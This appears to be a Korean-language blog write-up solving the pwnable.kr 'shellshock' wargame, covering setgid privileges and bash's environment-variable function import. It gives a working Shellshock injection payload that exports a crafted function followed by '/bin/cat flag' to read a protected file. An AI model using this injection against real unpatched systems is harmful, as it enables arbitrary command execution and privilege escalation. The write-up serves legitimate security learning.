security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] shellshock

민사민서 2023. 2. 6. 21:22
<코드>
#include <stdio.h>
int main(){
   // RealUID, EffectiveUID, SavedSetUID = shellshock_pwn
   setresuid(getegid(), getegid(), getegid());
   // RealGID, EffectiveGID, SavedSetGID = shellshock_pwn
   setresgid(getegid(), getegid(), getegid());
   // 프로그램 안에서 또다른 프로그램(ex. system()) 실행하면 EUID가 아닌 RUID 권한으로 실행된다
   system("/home/shellshock/bash -c 'echo shock_me'");
   return 0;
}

<풀이>
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c
- setGID 걸려있으므로 실행 시 eGID=shellshock_pwn
- resUID, resGID 모두 shellshock_pwn으로 세팅된다
- shellshock_pwn 권한으로 bash가 실행된다

- bash 환경에서 함수 선언이 가능하다 
shellshock@pwnable:~$ minseo() { echo hello; }
shellshock@pwnable:~$ minseo
hello
- subprocess에서는 사용하지 못한다
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ minseo
minseo: command not found
- export 명령어 이용해 환경변수 세팅 가능하다, 물론 함수도 선언 가능 
- 현재 bash의 subprocess에서도 환경변수로 정의한 함수 사용 가능하다
shellshock@pwnable:~$ export minseo='() { echo Hello; }'
shellshock@pwnable:~$ minseo
minseo: command not found
shellshock@pwnable:~$ ./bash
shellshock@pwnable:~$ minseo
Hello

- 취약점: export할때 minseo는 함수가 아니라 변수이다. 하지만 subprocess가 실행되면 함수로 인식된다. 그리고 그 이후에 나오는 임의의 커맨드도 실행된다!!!
- subprocess란 직접 ./bash 입력해서 subshell 실행시켜도 되고 특정 프로그램이 system함수 이용해 subshell을 실행해도 됨!
- 해당 프로그램에선 shellshock_pwn 권한으로 bash subshell 실행하므로 flag 파일도 읽어올 수 있을것.

==> export minseo='() { echo HaHa!; }; /bin/cat flag' 후
==> ./shellshock 해서 shellshock_pwn 권한으로 bash subshell 실행



<참고>
// set real/effective/saved UID or GID
// https://stackoverflow.com/questions/32455684/difference-between-real-user-id-effective-user-id-and-saved-user-id
// Real UID: 프로세스 실행 시 명령어를 실행시킨 user
// Effective UID: 프로세스 실행 과정에서의 uid, 실행 과정에서 파일 접근 권한 같은건 euid에 따라 결정 (setuid 설정되어있으면 euid 잠시 변경)
// SetUID 설정된 프로세스 실행하지 않는 한 RUID=EUID
// Saved SetUID: 프로세스의 권한이 낮게 변경될 때, 변경 전의 EUID는 SUID에 저장됨. 이후, 낮은 권한이 원래 권한으로 복구될 때, SUID는 EUID에 저장됨
// getegid()는 effective GID 가져오는 함수